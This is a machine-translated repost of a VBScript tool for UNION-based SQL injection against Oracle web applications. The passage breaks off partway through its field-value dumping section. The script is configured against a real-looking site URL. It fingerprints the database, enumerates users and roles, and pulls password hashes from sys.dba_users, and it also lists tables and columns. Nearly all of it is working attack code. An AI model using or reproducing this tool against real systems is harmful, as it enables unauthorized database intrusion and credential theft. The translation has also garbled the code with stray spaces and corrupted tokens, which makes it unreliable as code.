Oracle union injection tool (vbs)

Because this tool is used in the manuscript, it takes half a day to write and the functions are not comprehensive yet. Only union injection points are supported.

Reprinted please indicate the source:

Made by Suzhou

QQ: 540410588

BLOG: http://hi.baidu.com/540410588

**************************************** **************************************** ***************
Oracle union injection tool
Applicable to injection points that can use union.
**************************************** **************************************** ***************
Changed the framework of the ql2005 injection script [rough version] of Tr4c3.

Const method = "Get". Modify the submission method here. Optional values include get and post.
Const DisPlay = "D" S save to file, D output to screen

Dim strUrl_ B, strUrl, MyArray, strArg, strD, tmpStrArg, currcount, num
Manually determine the number of fields, and then find a character format, and replace the position displayed on the webpage with <**>
StrUrl_ B = "jsp? Id = 348% 20and % 201 = 2% 20 union % 20all % 20 select % 20 null, <**>, null, null, null "> http://www.sdtheatre.cn/renews.jsp? Id = 348% 20and % 201 = 2% 20 union % 20all % 20 select % 20 null, <**>, null, null, null "is based on the uncertainty of the injection point. Please change it manually here
Currcount =-1
MyArray = Split (strUrl_ B ,"? ",-1, 1)
StrUrl = MyArray (0) Fetch url
StrArg = MyArray (1) Get the Parameter
Set Args = Wscript. Arguments
If Args. Count = 0 Then
ShowU ()
End If
**************************************** ********************************
Information Detection
**************************************** ********************************
If Args. Count = 1 Then
If LCase (Trim (Args (0) = "info" then
ResuT ("The oracle version ")
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("banner "))
Call sqlInj ("% 20 from % 20 v $ version % 20 where % 201 = 1% 20 --", "content ")
ResuT ("The oracle ip ")
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("sys_context (chr (117) % 7C % 7 Cchr (115) % 7C % 7 Cchr (101) % 7C % 7 Cchr (114) % 7C % 7 Cchr (101) % 7C % 7 Cchr (110) % 7C % 7 Cchr (118), chr (105) % 7C % 7 Cchr (112) % 7C % 7 Cchr (95th) % 7C % 7 Cchr (97) % 7C % 7 Cchr (100) % 7C % 7 Cchr (100) % 7C % 7 Cchr (114) % 7C % 7 Cchr (101) % 7C % 7 Cchr (115) % 7C % 7 Cchr (115 ))"))
Call sqlInj ("% 20% 20 from % 20 dual % 20 where % 201 = 1% 20 --", "content ")
ResuT ("The database ")
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("name "))
Call sqlInj ("% 20 from % 20 v $ database % 20 where % 20 rownum = 1% 20 --", "content ")
ResuT ("The database user ")
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("user "))
Call sqlInj ("% 20% 20 from % 20user_tables % 20 where % 20 rownum = 1% 20 --", "content ")

ResuT ("The database All users ")
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("count (*)"))
Call sqlInj ("% 20 from % 20all_users % 20 where % 201 = 1% 20 --", "count ")
TmpStrArg = Replace (strArg, "<**>", plastr ("username "))
For num = 0 To currcount
Call sqlInj ("% 20 from % 20 (select % 20 rownum % 20r, username % 20 from % 20 (select % 20 rownum % 20r, username % 20 from % 20all_users % 20 where % 20 rownum % 3C = "& num + 1 &" % 20 order % 20by % 201% 20 desc) % 20 t % 20 where % 20r % 3E "& num &" % 20 order % 20by % 201) t % 20 where % 201 = 1% 20 -- "," content ")
Next
Currcount =-1

ResuT ("The user PRIVILEGES ")
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("count (*)"))
Call sqlInj ("% 20 from % 20user_role_privs % 20 where % 201 = 1% 20 --", "count ")
TmpStrArg = Replace (strArg, "<**>", plastr ("granted_role "))
For num = 0 To currcount
Call sqlInj ("% 20 from % 20 (select % 20 rownum % 20r, granted_role % 20 from % 20 (select % 20 rownum % 20r, granted_role % 20 from % 20user_role_privs % 20 where % 20 rownum % 3C = "& num + 1 &" % 20 order % 20by % 201% 20 desc) % 20 t % 20 where % 20r % 3E "& num &" % 20 order % 20by % 201) t % 20 where % 201 = 1% 20 -- "," content ")
Next
Currcount =-1

ResuT ("The SESSION_ROLES ")
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("count (*)"))
Call sqlInj ("% 20 from % 20session_roles % 20 where % 201 = 1% 20 --", "count ")
TmpStrArg = Replace (strArg, "<**>", plastr ("role "))
For num = 0 To currcount
Call sqlInj ("% 20% 20 from % 20 (select % 20 rownum % 20r, role % 20 from % 20 (select % 20 rownum % 20r, role % 20 from % 20session_roles % 20 where % 20 rownum % 3C = "& num + 1 &" % 20 order % 20by % 201% 20 desc) % 20 t % 20 where % 20r % 3E "& num &" % 20 order % 20by % 201) t % 20 where % 201 = 1% 20 -- "," content ")
Next
Currcount =-1
ResuT ("The service_names ")
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("value "))
Call sqlInj ("% 20 from % 20 v $ parameter % 20 where % 20 name = chr (115) % 7C % 7 Cchr (101) % 7C % 7 Cchr (114) % 7C % 7 Cchr (118) % 7C % 7 Cchr (105) % 7C % 7 Cchr (99) % 7C % 7 Cchr (101) % 7C % 7 Cchr (95) % 7C % 7 Cchr (110) % 7C % 7 Cchr (97) % 7C % 7 Cchr (109) % 7C % 7 Cchr (101) % 7C % 7 Cchr (115) % 20 -- "," content ")

ResuT ("The Account Hash ")
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("count (*)"))
Call sqlInj ("% 20 from % 20sys. dba_users % 20 where % 201 = 1% 20 --", "count ")
TmpStrArg = Replace (strArg, "<**>", plastr (""))
For num = 0 To currcount
Call sqlInj ("% 20 from % 20 (select % 20 rownum % 20r, a % 20 from % 20 (select % 20 rownum % 20r, username % 7C % 7 Cchr (58) % 7C % 7 Cpassword % 7C % 7 Cchr (58) % 7C % 7 Cname % 7C % 7 Cchr (58) % 7C % 7Cutl_inaddr.get_host_name % 7C % 7 Cchr (58) % 20as % 20a % 20 from % 20sys. dba_users, sys. v _ $ database % 20 where % 20 rownum % 3C = "& num + 1 &" % 20 order % 20by % 201% 20 desc) % 20 t % 20 where % 20r % 3E "& num &" % 20 order % 20by % 201) t % 20 where % 201 = 1% 20 -- "," content ")
Next
Currcount =-1
Wscript. Quit
End If
End If
**************************************** ********************************
Explosive table
**************************************** ********************************
If Args. Count = 2 And LCase (Trim (Args (1) = "tables" Then
ResuT ("All The tables ")
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("count (*)"))
Call sqlInj ("% 20 from % 20user_tables % 20 where % 201 = 1% 20 --", "count ")
TmpStrArg = Replace (strArg, "<**>", plastr ("table_name "))
If currcount> 0 Then
For num = 0 To currcount
Call sqlInj ("% 20 from % 20 (select % 20 rownum % 20r, table_name % 20 from % 20 (select % 20 rownum % 20r, table_name % 20 from % 20user_tables % 20 where % 20 rownum % 3C = "& num + 1 &" % 20 order % 20by % 201% 20 desc) % 20 t % 20 where % 20r % 3E "& num &" % 20 order % 20by % 201) t % 20 where % 201 = 1% 20 -- "," content ")
Next
Currcount =-1
End If
Wscript. Quit
End If

**************************************** ********************************
Field explosion
**************************************** ********************************
If Args. Count = 3 And LCase (Trim (Args (2) = "cols" Then
ResuT ("The cols of" & Args (1 ))
ResuT ("--------------- ============================ --------------")
TmpStrArg = Replace (strArg, "<**>", plastr ("count (*)"))
Call sqlInj ("% 20 from % 20user_tab_columns % 20 where % 20table_name =" & encodechr (UCase (Trim (Args (1) & "% 20 --", "count ")
TmpStrArg = Replace (strArg, "<**>", plastr ("column_name "))
If currcount> 0 Then
For num = 0 To currcount
Call sqlInj ("% 20 from % 20 (select % 20 rownum % 20r, column_name % 20 from % 20 (select % 20 rownum % 20r, column_name % 20 from % 20user_tab_columns % 20 where % 20 rownum % 3C = "& num + 1 &" % 20and % 20table_name = "& encodechr (UCase (Trim (Args (1 )) )) & "% 20 order % 20by % 201% 20 desc) % 20 t % 20 where % 20r % 3E" & num & "% 20 order % 20by % 201) t % 20 where % 201 = 1% 20 -- "," content ")
Next
Currcount =-1
End If
Wscript. Quit
End If

**************************************** ********************************
Field Value
**************************************** ********************************
If Args. Count = 4 And LCase (Trim (Args (3) ="